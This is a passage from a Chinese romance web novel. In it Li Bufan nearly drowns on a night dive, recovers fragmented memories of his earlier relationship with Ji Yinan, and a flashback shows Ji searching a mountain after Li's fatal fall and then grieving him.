两个人都已经换上了潜水服坐在船边,船开了几个小时,到达海域后停了一会儿。教练讲完注意事项,准备下水时,李不凡的手机亮了,是宋朗白打来的电话。 李不凡和教练示意,接了这通电话。 对面很安静,宋朗白的声音显得特别突出。 “哥,你之前给我那条项链我拿去查过了,里面确实是一枚芯片,我朋友帮我解开了,他说芯片里全都是照片和视频,他已经整理出来了,你放心我没看过,都给你发过去了。” “谢谢。”李不凡说。 挂断电话以后,他就收到宋朗白传过来的信息。 那是一个很大的压缩包,李不凡点进去,在等待预览加载的时间里,教练提醒他:“我们该走了。” 李不凡就把手机收好。 “怎么了吗?”坐在旁边的季一南问。 “没事,上岸之后我再和你说。”李不凡咬住了咬嘴。 下潜时总共四人,除了潜水教练以外还有一名潜导。因为是夜间潜水,潜水服上多配备了照明灯。 他们想下潜去看沉船,位置大约在三十米处。 下潜时,李不凡想到芯片里的照片。他不觉得非常意外,他之前就设想过里面会是什么,照片其实是最正常的选项。 Rachel曾和他说,回到过去熟悉的地方有利于记忆的恢复,也许他多看一些,就真的能够回想起那些事。 季一南就在李不凡身边,这时晃了晃李不凡的肩膀,指向远处的海狼风暴。 海狼是一种海鱼,它们身型扁平,银色的鳞片在浅海会反射光芒。当它们成群出现时,便会在海底形成风暴一般的壮丽景色。 李不凡拿起随身带的运动相机拍摄,忽然发现吐出的气泡不再上升,而是在身边四散,立刻又感觉到一股大力的水流。 尽管他失去过记忆,丰富的下潜经验还是让他的身体拥有了判断危险的本能反应。李不凡朝身后三人打了手势,他们可能遇到了下降流。 好在此时离海的底部还算近,所有人瞄准不远处的岩石,纷纷扒到岩壁上。但也许是这一次的下降流力量强劲,在李不凡的手触碰岩石的瞬间,他被水流卷走。 海底找不到过多的参照物,一阵眩晕后,李不凡恢复了控制身体的能力。 往上踢脚蹼是人的本能反应,李不凡抬手查看电脑表,他踢得很用力,可电脑表上的深度丝毫没有反应,于是他立刻开始往BCD打气,以提高自身浮力。在李不凡一次次观察电脑表的同时,头顶的照明灯却落入了一侧的深渊。 这附近有断崖,但不应该出现在这里,难道说他已经被流推走了很远。 骤然落入黑暗让李不凡产生下意识的恐惧,双腿无论怎么踢好像都无法挣脱脚下的漩涡。一阵耳鸣中,水流瞬间将他拉入一片眩晕而刺眼的亮光之中。 “你的紧急联系人是谁?”一道陌生的男声。 “季一南。”李不凡听见自己说。 周围安静了片刻,山风呼啸而过。他在下坠,山啊水啊,全都看不清,李不凡只知道自己在风里,在无法控制地坠落。 “李不凡,我喜欢你。” 他是不是看到了走马灯,怎么会听见季一南的声音,波纹般扩散开,朦朦胧胧听不真切。 “我拿到威斯林顿一所学校的Offer了,以后可以一直和你在一起。” 李不凡感到自己缩在昏暗的被褥里,“一直吗?” 他动了动,透过缝隙看季一南的脸,“可是我生病了,我病得很重,不能和你在一起。” 季一南愣了愣,“能不能只是看你喜不喜欢我,和其他的都无关。” “我病得很严重,”李不凡说,“是很严重的那种病,可能这辈子都不会好。” 季一南的眼神立刻就落寞了,“那你打算把我一个人留下吗?打算以后都不和我联系了吗?” “季一南,你不要想我。” 不,不是的。 李不凡想阻止自己这样说,或者再讲一些可以挽回的话。可他张不了口,海水忽然从窗外涌入,死死压住他的喉头和全身。 他在水流中挣扎,眼睁睁看着季一南的影子变得破碎,飞快地被卷进海水里,什么也不剩。 而他忽然被抛起来,被抛出水面,呼吸通畅的一瞬间,又失重地下坠,啪地被拍进海里。 下沉,下沉。 气泡连续不断地往上,李不凡被一只手臂抓住,从海水里提起来。 他躬身撑着膝盖,呛了水,咳得肺都要吐出来。 “李不凡,只要是人都会生病。”把他拉出来的是季一南。 “不是的,”他听见一道熟悉的声音,侧脸一看,那竟是另一个自己,“不是所有人都会生病,季一南就很健康。” 自己又说:“以后季一南会因为你吃很多苦,你真的爱他吗?你忍心看到他不能和其他人一样享受真正的感情吗?你给不了他爱,你从来就没被人爱过,凭什么留在他身边?” 李不凡懵了,怔在原地手脚沉重,季一南就站在他身边,只差一步就能走到,可他迈不过去。 真的吗? 我……得了很严重的病,病到不配被这么好的人爱。 头好痛,记忆碎片一样,每一个棱角都刺进他的大脑,映照出千万个片刻。 “我爱他。” 几乎是下意识的,李不凡说出这句话。 “我爱他。” 他抬头去看季一南,季一南笑了,走到他身前蹲下,将他背在身上。 脚下忽然又变成堆积白雪的街道,季一南一步一步走得很稳。 “回家了,小僵尸。” 酸意涌上鼻头,眼泪不受控制地滚出来,连李不凡也不知道自己为什么哭。 “回家了吗?可以回家了吗?” 可季一南偏偏不回答,只是一遍遍重复着:“回家了,我带你回家。” 如果真的可以回家就好了,回家是不是就安全了,他不想死,不想看见那另一个自己。 “你不配,”他听见那道声音又说,“你在他身边就是害了他,你不配。” 季一南固执地走着,直到再也迈不出下一步。 他又破碎了,李不凡摔倒在地上,可街道却不再冰凉,他掉进一片柔软的草地,一抬头,一株火红色的格桑花开在山崖上。 “对,就是那朵,我们想要那朵格桑花做标本。”一个陌生男人说。 “我去摘。”李不凡爬到山崖上,只差最后一寸,他伸手去够。 格桑花的花瓣在微风中摇曳,他抓住花杆死死往外拽。 那朵花却纹丝不动。 “格桑花生命力顽强,能开在冰天雪地里,也能开在滚烫烈日下,”那个陌生男人鼓动他,“摘下来,摘下来。” 不知道为什么,李不凡心里隐隐有一种一定要摘到这朵花的冲动。 摘下来。 他划破了手掌。 摘下来。 他咬碎了牙。 “我觉得你很像一朵花。” 恍惚中李不凡又听见季一南的声音,他的手松了一些。 “请你不要再掉花瓣了。” 是季一南。 对了,季一南还在。 李不凡骤然清醒过来,他没再用力,格桑花却忽然被连根拔起,一眨眼,山崖退化成海,他的两条腿不住地踢起来。一看电脑表,自己已经开始上升,也许挣脱了下降流。 BCD不能一直保持这样的状态,李不凡立刻开始进行排气,想要快速恢复中性浮力。 可他痛苦得要了命,不是纯粹的身体上的痛,是心脏。 好像因为想到了什么才会痛,会发酸,那感觉好陌生,又好熟悉。 他感到自己慢慢恢复了浮力,水好像还在推着他,也可能是他自己在动,凭借求生的本能往上浮。 什么也看不见,和睁不开眼没什么区别,李不凡也感知不到自己到底有没有睁开眼睛。 又是那片白光,仿佛把他的所有回忆切割成无数的碎片,散落在汹涌的海水之中,李不凡流着泪去捡。 醒过来时,眼前是一片江水。傍晚的霞光照射在不断翻滚的水流上,形成一片片如同鱼鳞的光斑。 季一南就站在眼前,头发被江风吹得很乱。 李不凡拿着一根很细的、铺满银色闪粉的绳子,套住了季一南的无名指。 “向情人大桥证明我们是有情人,就会得到它的祝福。” “那你干脆嫁给我吧,”夕阳的光线把季一南的脸照得很暖,他很紧张,不似在讲玩笑话,“情人大桥要祝福我们什么呢?不过就是……一直在一起。” “可是我生病了,”李不凡说,“病人是不能拥有长久关系的。” “你没有生病,”季一南摇摇头,“只是上天给了你一份不同寻常的礼物,但这礼物不是你一个人的,是我们两个人的,你要自己拆开它吗?” 李不凡很犹豫,那根细绳落在他掌心里,只要轻轻松手便能飞走。 “可是我生病了。”他又重复这句话。 季一南点点大桥边的铁丝网,问他:“要不要把蝴蝶结像他们这样系上来。” “风这么大,会被吹走吧。”李不凡还是靠近了一步。 “只要你系紧一点,我保证不会。”季一南说。 他就站在桥边看着李不凡,在他的目光中,李不凡跑过去。 “那我们就说好了,”李不凡说,“只要蝴蝶结不松开,你就不会走。” “我不走。”季一南点头。 李不凡就把那根绳子系上去,打成一个漂亮的蝴蝶结。 绳子的两条尾巴在微风中轻轻晃动着,季一南的身影却在火红的夕阳之下,碎成漫天的火红的格桑花,连同大桥、江水一起消失不见了。 眼前模模糊糊出现了光点,李不凡睁开眼,看见那光来自水面之上。是船,李不凡用力踢着脚蹼。 “马上下去找人!” “通知当地海警。” 李不凡一头扎出水面。 “这边有人!” “快救上来!” 他被几只手拉出了水。 船上的人模糊得如同色块,摘掉面镜的瞬间,李不凡被狠狠拥抱住。 那力道、那怀抱——是季一南。 他还恍惚得如同尚在梦中,刚才的死里逃生也让他力竭,便只是轻轻抬手,拍了拍季一南的后背。 “我们都抓住了岩壁,就你不见了。”季一南的声音里几乎有压制不住的哭腔。 他在发抖,李不凡勉强笑笑,说:“我没事,我学得很扎实的,该做的都做到位了。” 所以那些都不是梦吗? 他是不是坠过崖,为什么那么早就认识季一南,为什么会和季一南站在情人大桥上……多少是真的发生过的。 船在海面颠簸地行驶,一盏白炽灯下,季一南脸色苍白,眼圈却发红,全身都在滴水,几乎是李不凡见过的他最狼狈的一次。 “几天后科考你别去了。”季一南说。 “我没事的。”李不凡下意识反驳。 季一南去给他拿毛巾,李不凡便继续说:“我可以,这次只是意外,到时候我们多安排几个潜导,他们经验丰富,应该知道怎么……” “李不凡,你根本不懂!”季一南回过头,沙哑地嘶吼道:“你要山要海,要风要树,你要的那么多,我呢?我就要你活着!” 他泄了气,自我怀疑地垂下眼:“这样也不可以吗……” 脑中嗡的一声,在李不凡的世界里,周遭诡异地安静下来。 他听到那个电话被人接通了,“李不凡。” 电话那头的声音来自季一南。 第48章 “李不凡,为什么不接我的电话。” “别骗自己了,”李不凡听见自己说,“我转机回国了。” “分手是因为真的不喜欢我了吗?”季一南问。 李不凡没有说话。 “有什么事我们一起解决。”季一南又说。 “解决不了,”李不凡回答,“这不是正常的恋爱。” 他看见窗外一架飞机起飞,又听到季一南问:“你为什么在手机上写今天傍晚五点情人大桥,是什么意思?” 一阵电流声后,李不凡又站在了情人大桥上。 手掌里捏着什么硌人的东西,他打开一看,竟然是两枚银色的戒指。 “……李不凡!” 他看向声音的那一侧,满天落霞中,季一南好像朝他跑来了,李不凡想叫他的名字,也不知道自己有没有发出声音。 他只看到桥边的那颗太阳断地晃啊晃,晃着晃着,眼前又被白光占满了。 世界总算吵闹起来,他听见凌乱的脚步声,听见季一南不断叫自己的声音,居然就这样陷入了安眠。 李不凡想,还没有问季一南是不是以前就认识他,既然认识,为什么不告诉他。 还没有看宋朗白发来的照片,里面不会都是和季一南有关的吧。 他的前男友是不是就是季一南。 什么小僵尸什么的,听起来怎么那么暧昧,季一南怎么那么会哄人呢。 他还是学生的时候,看起来好青涩,他最好还是就是李不凡的前男友吧。 被骗了李不凡也认了,季一南如果是他前男友他只觉得自己赚了。 怪不得每次提到“前男友”这个问题,季一南都表现得无所谓,在意的也不是他前男友是谁。好啊,原来是这样。 …… 问题好多,李不凡不想思考,只觉得很累。 他应该好好休息了。 醒来时不知是什么时间了,李不凡睁开眼,闻到一股消毒水的味道,发现自己躺在病床上。 床边趴着季一南,李不凡一动,他就醒了。 当季一南这个人真切地出现在李不凡眼前时,又让他忍不住怀疑:在海下我是不是只是精神恍惚,那些都是真的吗? 世界又眩晕了一阵,李不凡才终于能听清季一南的话。 “医生说你过度劳累,只是晕倒了,别的没什么事。在船上是我太着急了,对不起啊,我见过太多人出事了,没办法不小心一点,一碰到和你有关的事我就忍不住紧张。我当时说话是很凶,不是想要凶你的,如果你还是想去,我可以再找几个潜导……” “季一南,”李不凡看着他,平淡地打断他,“我想去情人大桥。” 季一南就顿住了。 时间居然刚刚好,整理完出院时,落日斜斜地从车窗洒进来,把李不凡的脸照得发红。 季一南摸不准李不凡为什么忽然说要去情人大桥,竟然也不敢问,只跟着导航茫然地开车。 正是晚高峰,情人大桥十分繁忙。 说不出是逃避还是顺势而为,季一南开着车,在桥边绕了很久,才找到一个稍远的停车位。 可是李不凡却没有急着走上桥,说想先去吃点东西。 季一南的第一反应是要给他买一支冰淇淋,这时才想起冰淇淋店已经关掉了。 好在附近有一个小商场,他们进去逛了一圈,挑了几样简单的小吃拿在手里,到商场外的长椅上坐下。 散步的人不在少数,季一南打开餐盒,分出一小块松饼,和李不凡一起吃。 李不凡什么也没说,像只是要和季一南一起享受这个傍晚一样,慢慢咬着松饼。 “威斯林顿的落日总是这么美吗?”李不凡仰着脸。 “也许吧,”季一南说,“我有印象的其实也只是某几次。” 其他时候都只觉得落日是落日而已。 “那……你来情人大桥的那几次,都做了什么?”李不凡问。 他的问题在季一南意料之外,想了想,季一南说:“没做什么,和我们现在差不多。先买一点爱吃的东西,再走上大桥。如果正好是日落,就会把这座桥走完,一直到尽头。 “那里有一面铁丝网,很多路过的人会把自己身上的东西系在上面,就像情人锁一样。” 季一南摇摇头:“不过我觉得没什么用。” “……没什么用吗?”李不凡咬完最后一口松饼,却还一直低着脸,“那以前你还会去吃什么?” “冰淇淋,不过那家店已经关掉了。” “去吃其他店的不可以吗?” 季一南不知道李不凡为什么一定要知道这些问题的答案,因为他问得并不只像想要了解季一南以前的事。 “其他店也可以,反正……只是冰淇淋而已。” “那好啊,我们去吃冰淇淋吧。”李不凡站起来。 在商场里想找到冰淇淋并不困难,两人一人挑了一个口味拿在手里,沿着道路上了桥。 桥面比坐在车里时显得开阔,李不凡走得很慢,想要把那天在海里时回想起的碎片与这里对应,还是发现很困难。 冰淇淋吃完了,他转头看向季一南,看到他被落霞铺满的头发,想这应该是他熟悉的一幕,到今天变得这样陌生,他竟然也无法察觉。 走到桥头,李不凡看见了季一南口中的铁丝网。那网大概是大桥修建时就遗留下来的,不知是谁第一个在上面挂了同心锁,很快就变成一处打卡景点。 李不凡瞥见几个,上面要么画着爱心,要么写着两个人的名字。 “你说你也来过几次情人大桥,”李不凡转过身,唇角带着笑意,看季一南,“是不是也是来和谁做这种事的?” 季一南没有承认,他看李不凡笑了,想到在情人大桥上那点他和李不凡的还算好的回忆,也淡淡笑了笑,带着只有自己知道的调侃说:“有点幼稚,我可能不会做。” 冰淇淋还剩下最后一口,李不凡一只手搭着大桥的栏杆,忽然问:“那说要把绳子系在桥上的人是我,是吗?” 风好像停了,季一南也被这句话定住,一时失去反应。等李不凡温和地看了他一会儿,才回神,问出那个已经有答案的问题:“你想起什么了是吗?” “都是一些片段,没有特别连贯的。” “……是夜潜遇到下降流的时候,是吗?”季一南意识到什么。 “是。”李不凡低头打开手机,调出几张照片。 “宋朗白给我发来一些东西,我还没有看,本来打算提前看一下的,但现在我觉得我可能猜到里面是什么了。” 他先和季一南说:“我不知道你有没有看见过,我身上一直有一条项链,是带一个小挂坠的,从我发现自己失忆开始,那条项链就在我脖子上,没有摘下来过。后来在云南,我们遇到盗猎的人进医院以后,有次我洗澡脱衣服弄掉了,挂坠就摔开,我发现里面有一枚很小的芯片。” 他把手机递到季一南眼前,“我找宋朗白帮忙,让他帮我问问他有没有朋友可以破解这枚芯片,FunDive那天我收到他的回复。你也认识这些照片吧。” 屏幕上,季一南和李不凡并肩站在一起,身后是夜晚中银装素裹的雪山。 “这张是在我博士毕业典礼前拍的。”季一南说。 李不凡看着照片上他穿了学士服,轻笑道:“当时我们在云南吗?你穿这么少不会冷吗?” “我们没有在云南,背后只是一张照片而已,那天晚上你说想去看摄影展,你很喜欢这张照片,我们就在前面合影,你说……”季一南顿了下,“就当我们去过央娜雪山了。” “你一直很想去那里,但后来我们也没有去成。” “情人大桥也是我们一起来的,是不是?” “是。” “所以……”李不凡有些恍惚,“所以你说的那个朋友其实是我。” 好奇怪,明明一个健康的、崭新的李不凡已经站在自己眼前。可当提到从前那些事,那种遗憾、挫败、痛苦,还是清晰地被季一南回忆起来,再次填满了他的全部感官。 他牵住李不凡的手,此刻唯一想要做的事,竟然只是抱住他。 “我死过一次……”李不凡喃喃道。 “我知道可能有些难以接受,甚至也许你会觉得我疯了,或者这个世界疯了,”季一南抱紧李不凡,“但这些都不重要,真的不重要。” 季一南不是没有设想过,如果有一天李不凡记起全部的事,会怎样对他。 会不会像当年一样跑得很远,到季一南找不到的地方,还是责怪季一南什么都不告诉他。 如果李不凡还是要走,这一次能不能告诉季一南真正的原因,能不能听季一南说完他原本想在毕业典礼上说的话。 哪怕冰淇淋店已经关门,他也不再是U大的老师,手边甚至没有花和戒指。 抱到李不凡的这几秒里,季一南一直在紧张地构想接下来应该要做的事。 他不要再错任何一步了。 但李不凡居然只是说:“季一南,你应该等等我的。” “你一个人,又什么都知道,我还在怀疑你为什么对我这么好呢,怎么追得上。” 冰淇淋彻底化掉了,甜腻的水流到李不凡的手指上,被落日染得金黄。 可是季一南却在想,他等过了。 第49章 【早上好。】 【晚安。】 【别生我气。】 在香格里拉见过李不凡之后,有大约两个月的时间,季一南每天都在想要怎么给李不凡发消息。 字打进对话框里,他又删掉。 他要等,再耐心一点。 到某个晚上,李不凡真的给他发了消息:【如果我回香格里拉,你会来接我吗?】 季一南回:【来】 从那天开始,他就在等李不凡的电话。 后来电话真的打来了,季一南还记得那是一个特别普通的下午。小七说他们在山里遇到有人失足落到山崖下,现在走不了了,人手又不够,季一南就带着阿夏开着越野车进山。 天气有些差,阿夏判断两小时内就会下雨,所以车速稍快。 季一南打开了一点窗户,凉风从缝隙里刺刀一样扎进来,让他清醒了一些。 “说掉下去的人很重,有接近两百斤。”阿夏挂掉电话。 “没事儿,我们加上小七,应该可以。”季一南说。 到达现场时雨还没有开始下,季一南绑着安全绳,沿岩壁滑下去,俯身问坐在地上已经吓得魂飞魄散的男生:“你叫什么名字?” “江……江……” “小江,”季一南蹲下来,快速检查他身上的伤口,“你可以叫我一哥。小七说你觉得自己小腿骨折了是吗?” “对。”小江点点头。 季一南查看了他的小腿,的确是骨折了,甚至有一段骨头已经错位戳出了皮肤。他用绷带做了最简单的固定,仰头和上面的阿夏简单沟通过以后,几人合力做了一个简易的滑轮组,把小江拉上去。 好在雨是在把小江送上车以后开始下的,季一南坐进小七的车里,身上只被淋湿了一点。 山路颠簸,他本来没有想看手机,可电话在口袋里匆忙响了两声就挂断。 这种号码估计是打错了,季一南随手打开,却看见那个陌生号码来自国外。 他心里在想会不会是李不凡,打回去的时候有些莫名的紧张。 这一次电话响了很长时间,季一南耐心地等了一会儿,对方接起来的时候,周围还有些吵闹。 季一南没来得及开口,就听电话对面的人说:“您好,请问您是季一南吗?” 不是李不凡。 季一南顿了下,说:“是我。” “我们这边是中国大使馆,请问您是李不凡的亲属吗?”对方又报出了李不凡的出生年月日,甚至精确到身份证号码。 脑中嗡嗡作响,季一南没听清自己是否嗯了一声。 “现在情况是这样,李不凡先生帮助本地一个科考队在威斯林顿的曼拉山采集树木标本,过程中出现了意外坠崖,现在搜救队正在全力搜救。请问您想要立刻过来吗?” 两片唇瓣上下碰了碰,季一南说好。 车又遇到颠簸,季一南浑身跟着抖了下,才把手机从耳边拿开。 “小七,开下山以后车借我用一下。”季一南说。 “好,”小七偏头,看季一南脸色惨白,问,“怎么了哥?出什么事了吗?” “我要去机场。” “现在?” “嗯。” 雨忽然下得很大,一滴水珠划过车窗,很快又有下一滴落在同样的位置。雨水浸染泥土后冒出芬芳味道,季一南无意望向窗外,却瞥见一丛格桑花。 他不敢去想那个字。 念出来的时候,舌尖会碰到上侧的牙齿,甚至不需要太大的动作,和这件事本身一样轻飘飘的,吐出一口风那样很快就散了。 不可能。 他片刻又冷静下来,打开手机盯着屏幕,一步不错地买好了能够最早到达的高铁和机票。 车晃悠着下了山,这原本是一条很长的路,但等季一南清醒时已到了尽头。他和小七换了位置,把车开到研究所以后,季一南就掉头去了宿舍。 所有证件他都收拾得很好,拿出装证件的袋子往行李箱一塞,季一南又随便放了几件衣服进去,只花几分钟就重新上了车。 从研究所到香格里拉的高铁站也只要不到二十分钟,季一南打电话给所长请假时,列车已经发动了。 他要从昆明起飞,到上海转机,再飞威斯林顿。 他说过要等李不凡回香格里拉。 列车轰隆隆向前,季一南埋头查找曼拉山的资料。 他明明一直在等。 季一南从背包里拿出笔记本,又和大使馆打了一通更详细的电话。 “科考队在曼拉山招募向导,当时天气恶劣,即将面临封山……” 你就不能像我忘了你一样忘了我吗? “……要采集的河水样本没办法等到解封,李不凡本来在营地休整,听到需要帮助就和科考队一起上山,没想到在上山途中遭遇意外坠崖。” 季一南,我们还是不要见面了,我已经有新的生活了。 “搜救队已经搜救了十个小时,使馆这边也在全力协助……” 我花这么多时间养一只小猫它应该也对我有感情了。 上一次见面时说过的那些话,在这时不恰当地响起。 季一南闭目,强制自己忘掉那些,并努力把李不凡想象成一个陌生人,不对结果做任何假设。他才总算能够再做一些事:记录下坐标数据,给自己曾经的老师同学打电话,联系曼拉山附近有经验的搜救人员…… 大概这样坚持到最后一程飞机,季一南完成所有能够想到的事,等待落地时,他在昏暗的机舱里,很困但无法睡着,又想起了宋宁。 印象中那趟跨国航班和此刻几乎没什么差别,只不过是他坐在不同的座位上。机舱中只有指示灯亮着,他当时在看关于治疗胰腺癌的论文,一个一个查上面的作者目前在哪家医院,以为自己做得够了,到医院时还是手足无措。 过去这么多年,有时候季一南都以为已经忘记了,到会想起的时刻,还是每个细节都记得。落地后他怎么去的医院,医生和他说了什么,宋宁和他说了什么,治疗方案是什么……那时他尚且还有李不凡,如果一个人拿不定主意,还可以问问他的想法,现在呢,他意识到自己从头到尾都还和当年一个样子,是个懦夫,没了最亲的人连站都站不起来。 看来李不凡说的话是对的,他是该好好照照镜子看看自己,他不能是这样。 季一南一抬手,把毯子蒙到脸上,想着想着,泪珠无声地就滚下来,他很快又抬手擦了。 经历大约一整天的中转飞行,落地时威斯林顿快要日出。 使馆派人来接,又坐了一程列车,季一南才来到曼拉山主峰的山脚下。 选择植物学作为专业以后,季一南来曼拉山考察过无数次。这里不仅植物资源丰富,同时也是天然的雪场,又适合滑翔伞、翼装飞行等等极限运动,加之风景如画,李不凡来的次数不比季一南少。 从这个角度看,他不是没有活下来的可能,季一南不会放弃。 和搜救队交代过李不凡的信息以后,他就换好装备,跟随众人进山。 天气很差,灰色的雾时刻笼罩着整片森林,曼拉山在他眼里顷刻间高大得可怕,他好像从来没注意过天那样高,沟壑那样深,人在里面仿佛树木的一片叶子,轻易就消失。 等。 季一南每天还是在等。 他等救援队集合,和他们一起进山。等走完这段路,搜索完这片区域。等其他小分队的消息。等日出等日落,每天仅有的那么几个小时的睡眠里,都是在等找到李不凡。 可是气温真的越来越低了,几乎不眠不休的七天过去以后,队长把季一南叫到一边,分给他一支烟。 烟还没点燃,季一南就知道他想说什么,如果今天他们找的不是李不凡,他一样会和失踪人的家属说,应该没希望了,节哀吧。 “按照他坠落的位置和最近的天气分析,我们判断黄金的救援时间已经过去了,他生还的可能性比较低……” 救援队的队长和他说了很多,季一南听了大半便开始走神。空气冷得快和手里的烟雾分不开,他想如果李不凡真的在山里独自待了一段时间,他该有多难受。 他会在哪里呢?黑夜苍茫得季一南什么也看不见。他又想到在香格里拉时遇见过的,会为家人去向神山祈祷的人们。他是旁观者的时候只是被这样的虔诚震撼,此刻他却只希望那些传说都是真的,他可以去爬那山无数次,只要李不凡能回来。 “您没事吧?还在听吗?”救援队长问。 季一南点了下头,手里的烟没抽几口,灰积了一大段,折了掉在雪地里。 “我知道了,谢谢您。”季一南没什么表情,仔细听才能听出语气里有一些颤抖。 他灭着烟,转身朝营地里走。雪很厚,季一南踩空一脚,差点摔了,扶着帐篷才站稳。 营地里燃着火,他拿过勺子,和一直看着汤却昏昏欲睡的人说:“你去休息吧,我来就好。” 简单的蔬菜汤冒着热气,季一南坐在野营椅上,没一会儿天又开始下雪,雪片纷纷扬扬落进汤里,他拿出几只碗,让没睡的人都来喝一口。 一锅汤分到最后,恰好还剩一勺,季一南盛进自己碗里,先吹了吹面上的浮沫。 捧着热汤的人们围在篝火旁聊天,细碎的声音雪粒一样。季一南把脸埋进碗里,水蒸气扑面而来,那些耳边的声音就都消失了。 黄瓜和鸡蛋的味道不算很浓,嘴唇碰到碗的边沿,季一南却迟迟没喝。片刻以后,救援队长和他说的那些话突然钻进脑子里,眼睛眨了两下,泪珠就滚出来,落进汤碗里。 季一南只好假装自己在喝汤,他用力吞咽着,一碗汤都没尝到什么味道,竟然就喝尽了。周围人的聊天声重新变得很嘈杂,他不敢把碗拿开,害怕此刻被谁关心,只借着那只薄薄的碗挡住脸,小声吸了吸鼻子。 天太冷了,季一南缓了缓,放下碗,拿袖子捂了下脸,拉起了冲锋衣的帽子,垂着脸走回自己的帐篷。 营地里亮着灯,季一南掀开帐篷的帘子,借微弱的灯光,从鼾声中找到一处空位,和衣躺下来。 本来以为会很久的睡不着,但可能是实在太累了,大脑由不得他掌控。闭上眼没多久,季一南就沉入了睡眠。 而在梦里,他见到了李不凡。 “季一南,季一南!” 李不凡坐在悬崖边,穿着夏装朝他招手。可他脚下不是曼拉山,是天女镜湖。 日出前的晨光把浅绿色的湖面照得波光粼粼,李不凡搭住他的肩膀,指给他看远方山后的太阳。 “说好的下次一起看日出,我叫醒你了,这次你可别再怪我。” 季一南摇摇头,几乎不敢相信地抱住李不凡:“我没有怪你……什么时候怪过你,反倒是你应该怪我才对,怪我说了那么过分的话。” “你说了什么话呀?”李不凡还是笑着看他,“我都忘记了,要不要再讲给我听一听,你是不是偷偷骂我了。” 可是季一南哭了,只有在梦里才敢哭得大声一些。他咬着牙,含糊地说我没有骂你,怎么舍得。他又想把日出看完,尽管眼前景色模糊,像浮在水面上,还是努力睁开眼。 “怎么了呀。” 季一南听见李不凡问他。 梦里他好真实,如果是现实,李不凡可能也会这样问他。 会温柔地、只带着关心地和他说话,会摸一摸他的脸,或者亲亲他的嘴唇。等到季一南真的愿意告诉他为什么,他再帮他想想办法。 季一南抬起眼,一时又分不清是不是梦境了,他只是反复在问:“你去哪里了?” “……你去哪里了?会不会冷啊,为什么又不告诉我。” “我是不是……我是不是做错什么了,你之前才会不理我,你跟我说好不好。” “我以前说什么,养一只小猫很多年它也会喜欢我,都是气话,我知道你很爱我,你不说我也知道。” “所以是遇到什么困难了吗?我听到你说要分开,我就很慌,我情绪上头,说了很多错的话,没有和你好好沟通。” “李不凡……”季一南哽咽着,“你再给我一次机会好不好?你现在回来,好不好?” “我已经没有妈妈了,如果你也走了,我在这个世界上就真的只剩一个人了,我不想这样。” 季一南胡言乱语起来,说话的逻辑连自己也搞不懂了,最多的时候还是在哭。 心脏软得发酸,季一南喘不过气来,挣扎着动了动,胡乱擦了擦眼泪,才发现李不凡不知何时已经不在了。 空旷的悬崖上就剩下他一人,鸟不叫了,风不吹了,一切死气沉沉,静得可怕。 眼泪好像白白掉了一通,季一南茫然地坐着,分不清刚才的那些是否真的发生过。 忽然,他感到身体不受控制地摇晃着,接着听见有人叫他。 “Ian!” “Ian醒醒。” 眼睛好像被干掉的泪水糊住了,季一南费劲地睁开眼,被油灯的光晃了下。 “救援队刚才发现的,你看一下,这个是不是他的东西?” 一道银光闪烁着划过眼前,季一南握住了,终于分辨出那是李不凡脖子上的项链,是毕业时自己送给他的那一条。 第50章 “遗体找到了,很抱歉我们到的时候已经晚了。他被河水冲到下游,加上最近天气比较冷,水面已经开始结冰了。” “除了这条项链,他身上没什么别的东西,背包里全部都是登山装备,还有一台相机,我们已经全部整理好,等会儿你过去领。” “……你还想看看他吗?可能已经……” 寒风呼呼地吹,季一南不知道自己是怎么走过去的,他两条腿都灌满了铅,每一步都很慢。营地里吵闹起来,许多人围着那一处,季一南很远地看了一眼,认出李不凡的衣服,就说不要去了。 他看向队长,和他说自己要申请DNA鉴定。后来又神志不清起来,反复问李不凡回来了是吗,抓着不知道谁的冰凉的手。 一旁的队长没有说话,季一南就好像忽然忘记了谁是李不凡。 他的人生中不应该出现过这个人,应该是在明年夏天,他家旁边才会搬来新的邻居。那一家人并不和睦,但其中最小的孩子却古灵精怪,对季一南最好。 他们会一起上学,自然而然地在一起,生命里没有什么病痛和苦难,也从未分开。之后在季一南的博士毕业典礼,他们去了云南的央娜雪山,季一南跪在雪地里求婚,李不凡同意。周围可能还有其他登山的人,他们会欢呼祝福,然后天地间又多了一处对季一南而言留下过痕迹的地方。 那一瞬间,季一南明白过来李不凡为什么要和他拍那张照片。他当时已经做好了告别的准备,央娜雪山不应该是一种充满憧憬的地方,它分明代表着痛苦和分别,可他居然浑然未觉。 天地都被大雪覆盖,季一南觉得好累,不想从梦里醒过来,掌心里还攥着那条李不凡的项链,他却闭上了眼。 离开威斯林顿是大约十天以后的事。 季一南没有给李不凡举行葬礼,因为暂时没办法面对任何人。他只是打电话通知了他的父母,由于无法开口,连喻修景和徐祁年都没告诉。 落地云南后,小七在香格里拉的高铁站等他。车站很小,季一南拉着行李箱,朝外走几步,就认出了站在栏杆外的小七。 但小七好像迟迟没有认出他,从手机屏幕里抬起视线,也花了很久的时间,才敢朝他招手,叫他一哥。 “怎么了?”季一南知道自己现在大概笑得很难看。 “你……你怎么了?”小七的目光落在季一南头发上,他这时才意识到什么,打开手机的前置摄像头,看见自己泛白的发根。 居然已经这样了么…… 在威斯林顿这几个星期,季一南没睡过一次好觉。比起睡不着,他更是不敢睡着。一闭眼,李不凡就出现在梦里,不管那梦是好是坏,总之醒来时李不凡就不在了。 巨大的失落比能够短暂见到他更让季一南痛苦,他不想再睡着了。 两个人上了车,季一南才平静地说:“我的爱人因为意外去世了。” 小七差点踩了急刹,还在斟酌说什么,季一南又道:“不用安慰我,没人安慰得了,告诉你只是不想让你太担心了,我自己待一段时间就好了。” “哦……好,一哥你要注意身体。”小七担心地说。 和所长请假时,季一南就已经告知了他理由。 可能为是为了不让季一南难受,星期一上班时,整个办公室没人再问季一南为什么白了头。 他照常上了一个星期班。到周五那天,他醒得很早,实在没有什么事好做,便起来绕着山晨跑了一圈。 洗了个清爽的澡后,季一南开着车去了研究所。因为时间还早,食堂没什么人,他挑了一个靠窗的位置,坐下喝了一碗小米粥,吃了两根油条。 上午他开了两个会,领导心情不错,负责行政的小姑娘准备了切开的哈密瓜,季一南尝了两块,比平常的甜一点。 午休时,他拿出柜子里的毯子,戴上眼罩,尽管没有睡着,也闭眼休息了片刻。午休时间快结束时,他才打开手机,点出和李不凡的聊天界面,随手在消息记录里选了一个时间。 三年前某个晚上,李不凡发:【要是有一天我变成小飞蛾了你会怎么办】 季一南回:【那我只能睡觉也不关灯了。】 李不凡:【为什么】 季一南:【怕你迷路。】 李不凡:【你怎么不说我还是会很爱你】 